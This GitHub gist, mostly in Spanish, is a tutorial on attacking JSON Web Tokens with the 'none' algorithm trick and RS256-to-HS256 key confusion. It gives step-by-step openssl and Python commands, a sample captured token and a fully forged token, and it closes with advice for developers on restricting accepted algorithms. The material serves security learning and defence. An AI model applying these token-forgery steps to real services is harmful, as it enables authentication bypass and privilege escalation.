Skip to content

Instantly share code, notes, and snippets.

@Retr02332
Last active March 22, 2024 15:25
Show Gist options
  • Save Retr02332/66bc6972e01afa0e49c451af9ea5e427 to your computer and use it in GitHub Desktop.
Save Retr02332/66bc6972e01afa0e49c451af9ea5e427 to your computer and use it in GitHub Desktop.
Hacking Json Web Tokens

Hacking Json Web Tokens

Change the algorithm to none and JWT without sign

En este caso, solo debemos configurar el parametro alg con el valor none. Luego de esto solo quitamos la parte de la firma, pero conservando el punto final es decir

Original  JWT: header.payload.sign
Malicious JWT: header.payload.

Change the algorithm RSA256(asymmetric) to HS256(symmetric)

El algorirtmo HS256 utiliza la clave secreta para firmar y verificar cada mensaje. El algoritmo RS256 usa la clave privada para firmar el mensaje y usa la clave publica para la verificación.

Si cambia el algoritmo de RS256 a HS256, el codigo de backend usa la clave publica como la clave secreta y luego usa el algoritmo HS256 para verificar la firma.

Debido a que el atacante a veces puede obtener la clave publica, puede modificar el algoritmo en el encabezado a HS256 y luego usar la clave publica RSA para firmar los datos. El codigo de backend utiliza la clave publica RSA + el algoritmo HS256 para la verificación de la firma.

Vulnerabilidad

La vulnerabilidad aparece cuando la validacion del lado del servidor admite mas de un algoritmo de cifrado como (HS256 y RS256).

const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )

De esta manera un atacante puede cambiar el parametro alg de RS256 a HS256 y modificar el payload a conveniencia para posteriormente, firmar el token con la clave publica. Pues el backend verificara esta firma con la misma clave publica (es por eso que cambiamos el algoritmo).

//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }

Ataque

  1. Capture un token JWT valido
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
  1. Decodifique el token con burp decoder
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
  1. Modifique el encabezado alg a HS256
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
  1. Convierta de nuevo al formato JWT (aqui tenemos listo el header y el payload)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
  1. Copie el certificado del servidor y extraiga la clave publica.

Lo unico que falta es la firma, y para calcularla necesitamos la clave publica que utiliza el servidor. Puede ser que esta sea de libre acceso.

openssl s_client -connect <hostname>:443

Copie la salida del "Certificado de servidor" a un archivo (por ejemplo, cert.pem) y extraiga la clave pública (a un archivo llamado key.pem) ejecutando:

openssl x509 -in cert.pem -pubkey –noout > key.pem

Vamos a convertir la salida a hexadecimal (ASCII)

cat key.pem | xxd -p | tr -d "\\n"

Al proporcionar la clave publica como hexadecimal ASCII a nuestra operación de firma, podemos ver y controlar completamente los bytes.

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

El resultado, es decir, la firma HMAC es:

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

Por ultimo convertimos esta firma hexadecimal ASCII en el formato JWT:

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

La salida del comando anterior sera la firma del token JWT, asi que solo lo agregamos

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
  1. Enviar el token modificado al servidor

Recomendaciónes

  1. Use solo un algoritmo de encriptación (si es posible)
const decoded = jwt.verify(
	token,
	publicRSAKey,
	{algorithms: ['RS256']} // only one method
)
  1. Cree diferentes funciones para verificar diferentes algoritmos
const decodeRSAtoken = jwt.verify(
	token,
	publicRSAKey,
	{algorithms: ['RS256']}
)

const decodeHMACtoken = jwt.verify(...)

// alg: 'HS256' for a decodeRSAtoken would fail
@bleglezama55
Copy link

bran

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment